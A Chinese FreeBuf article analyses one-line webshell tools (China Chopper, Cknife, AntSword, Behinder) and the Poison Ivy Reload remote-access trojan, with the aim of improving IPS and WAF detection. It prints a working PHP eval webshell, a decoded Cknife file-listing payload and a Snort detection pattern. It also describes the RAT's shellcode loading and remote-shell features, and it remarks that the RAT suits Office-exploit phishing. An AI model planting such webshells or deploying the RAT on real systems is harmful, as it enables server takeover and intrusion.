freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

从防护角度看一句话木马的发展变形
2020-03-12 08:00:47

一、前言

一句话木马用到了一个比较有趣的命令下发思路,即不直接发送命令编码,而是将命令代码直接发送给木马端执行,这样木马端文件会特别小,而由于每条命令需要通过网络传输,数据包会比较大。这些工具的流量也是ips,waf等网络安全设备的检测重点。

一句话木马的发展主要有几个典型的代表:最开始是中国菜刀,接着是开源的Cknife和中国蚁剑,到近两年的冰蝎,攻击工具一直在进化。其实还有个神奇的二进制远控 Poison Ivy,说它神奇就在于它相当于一个二进制的一句话工具,直接传送shellcode到被控端执行,而且据说这个远控是比较早(零几年就出现了),有高手在github重写了一份代码可以来学习,感谢Ckinfe,蚁剑,冰蝎(虽然没开源,但是并没有做加密混淆)和PI Reload这些作者的开源精神,我也只分享一下自己粗浅的分析和学习,分析目的也是促进我们防护规则和检测思路的优化,欢迎大佬们指点交流。

二、WEB一句话木马

菜刀,Cknife,蚁剑这些工具原理比较接近,使用方法大家应该比较熟了☺,可能有些做渗透测试的朋友也没有了解过原理。我们做防护规则,对常用的工具都会做分析,先以Cknife为例来分析这个系列。

2.1Ckinife连接

2.1.1 PHP一句话连接

Asp,aspx和PHP的连接原理比较接近,PHP最基础的一句话如下:

<?php @eval($_POST[‘pass’]);?>

通过Cknife等发包工具,把需要执行的php脚本片段,通过密码pass参数传给服务器端,服务器通过eval函数进行执行。可以看出,一句话木马的本质是PHP,ASP(ASPX)语言具有eval函数,使之具有了动态性,基于动态性,攻击者就可以把命令传给服务器端的一句话木马进行执行,这些命令在config.ini作了定义。

image.png发的请求包中,action参数用来传输base64编码后的命令,可能是考虑到特殊字符容易出问题或者不符合rfc协议之类的原因。真正的连接密码pass,先对action参数做base64解密,然后传到服务器端执行。

image.png我们把PHP命令做解码,得到

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-

|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

可以看到通过循环遍历某个路径下的文件,其中路径又是通过z1参数base64编码进行传递,截图是查看C盘目录。

2.1.2PHP一句话连接流量检测

截取了一个snort的开源规则,他检测的字符串是=@eval(base64_decode($_POST,如下

image.png根据规则的描述信息来看,是基于13年fireeye的分析中国菜刀的文章添加的规则,个人认为这条规则还是写的太严格了,其实直接看抓到的cknife报文,就无法匹配菜刀的这条规则,

image.png如上图Cknife的payload中,eval后面带了一个\x01。Ips、waf规则其实只要不影响业务,也是越简单越好,避免漏报。

2.1.3JSP一句话连接

Java由于没有eval函数,所以最开始是没有一句话木马的,但是由于菜刀/Cknife这类工具太好用了,jspspy这种大马又比较大,所以有高手写了一个带简单功能的webshell,通过定制(customize)方式来传输命令码,我理解customize是传控制码而不传输命令,其流量如下:

image.png2.1.4JSP一句话连接流量检测

这种比较短的请求就不太好检测了,一般思路就是按照流量来检测,写规则基本也是把常见的工具都遍历一遍,然后找找规律,包括参数名,参数值等。

2.2冰蝎连接

由于Cknife菜刀的明文传输可以被检测到,有高手写了一个加密的一句话工具冰蝎。作者在先知社区对冰蝎的原理作了详细的讲解,我觉得最有意思的是这个一句话木马做到了java语言真正的一句话。

image.png提交给被控端的数据先做解密,解密后的数据作为class文件的字节码,通过自定义classloader的get方法,调用父类defineclass方法动态生成一个类,然后调用其重载的equals函数执行命令。还有一些细节作者也有讲,比如父类defineclass方法是protect属性,正好子类可以直接调用,继承父类classloader还可以避免不同的classloader找不到相关类。重载的equals函数接受pagecontext参数,可以调用页面的参数并设置应答内容。

image.png对于php和asp,aspx作者也使用类似的手法做了加密和变形,这些跟菜刀/Cknife的原理都不一样了,思路非常值得学习,但是流量就很难检测了:-(。

三、二进制一句话木马

起因是看到github上面开源了一个poison ivy的RAT,是国内作者重写的名为poison ivy reload的项目,注释比较完整。这个大名鼎鼎的远控思路跟菜刀是一致的,命令通过shellcode传输,由于shellcode不需要重定位代码,直接分配内存就可以执行命令了,并且不仅命令是shellcode,木马本身就是shellcode。据说今年hw的第一天,就有攻击队钓鱼用的就是这个远控。

3.1poison ivy reload

控制端在Client文件夹,被控端在loader文件夹。先看被控端:

3.1.1被控端

相关配置文件和函数地址定义在global_data_t这个结构,使用到宏指令生成了非常紧凑的结构。下面是生成客户端的配置,包括配置连接方式、启动项、连接密码等。

image.png

下面是api地址,需要在加载后重新计算偏移后进行修复

image.pngloader_main是主要的入口,初始化global_config配置,然后根据配置主动外联控制端,首先是发包,做一个17字节的头部发送给控制端上线

image.png然后rc4加密后发送出去,等待接收shellcode命令,收到数据后,进行rc4解密,然后分配内存,解压缩并拷贝数据到这块内存,执行代码。

image.png木马有2种启动方式,本进程启动或者远程注入到ie启动。

image.png

可选的启动项:

image.png3.1.2控制端

控制端是delphi编写,不过重点也是用到了一些shellcode,shellcode代码还是在loader文件夹下面,其中function目录是基础控制函数,包括入口的shell_main.c,是控制端传过来的第一段shellcode,会初始化相关结构并且作为整体的消息处理框架,information是收集被控端的本地信息并回传,cmdshell是反弹cmd端口,screenspy是抓取屏幕,process是列当前进程,thumbnail是获取图标。

image.pngloader_function和extra_function目录下面有一些其他功能函数,包括添加启动项、远程注入、socks5连接等。作者注释掉了生成shellcode的代码,修复后可以用shellcode方式执行,结合office文档漏洞钓鱼是一个不错的选择。

3.1.3通信流量

可以看看PI的上线流量。第一次交互主要是被控端上线,控制端发送shellcode_main的shellcode作为被控端的消息处理框架。

image.png

第二次交互则是被控端请求information的shellcode,即需要函数代码来提取本机的信息,但是这些函数都以shellcode形式存在控制端。

image.png传输的这些函数包括下面的获取局域网信息get_lan_info,获取操作系统版本get_os_version,获取cpu频率get_cpu_frequency等。

image.png第三次交互就是执行这些shellcode回传结果了

image.png结果回显

image.png每次交互的结果也会在stat标签页打印出来

image.png

3.1.4Poison Ivy Reload连接流量检测

这种加密流量ips之类的网络就比较难识别了。由于PI前期的上线流量比较固定,而且还有大量的ping pong心跳包,我觉得还是可以考虑从这些规律入手,即不通过传统特征匹配,而通过会话统计进行检测。

目前分析的是开源的PI Reload,也只是做了最简单的分析和测试,看了一下会话交互流量,我觉得更值得学习的是作者深厚的开发功底和调试技术。

四、总结

对于这些一句话木马工具,现有的技术手段比较难检测了,主要原因在于交互流量加密,并且协议的私有性,很难通过特征匹配,后续可能还是通过态势感知系统之类的分析统计功能会有效一些,这方面的问题我们团队也一直在思考和测试。由于水平有限,欢迎大家指出文中的错误和交流指教

参考资料:

https://github.com/killeven/Poison-Ivy-Reload

https://github.com/rebeyond/Behinder

一并感谢参考过的其他技术分享博客

*本文作者:新华三攻防团队,转载请注明来自FreeBuf.COM

# php # web # 一句话木马
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录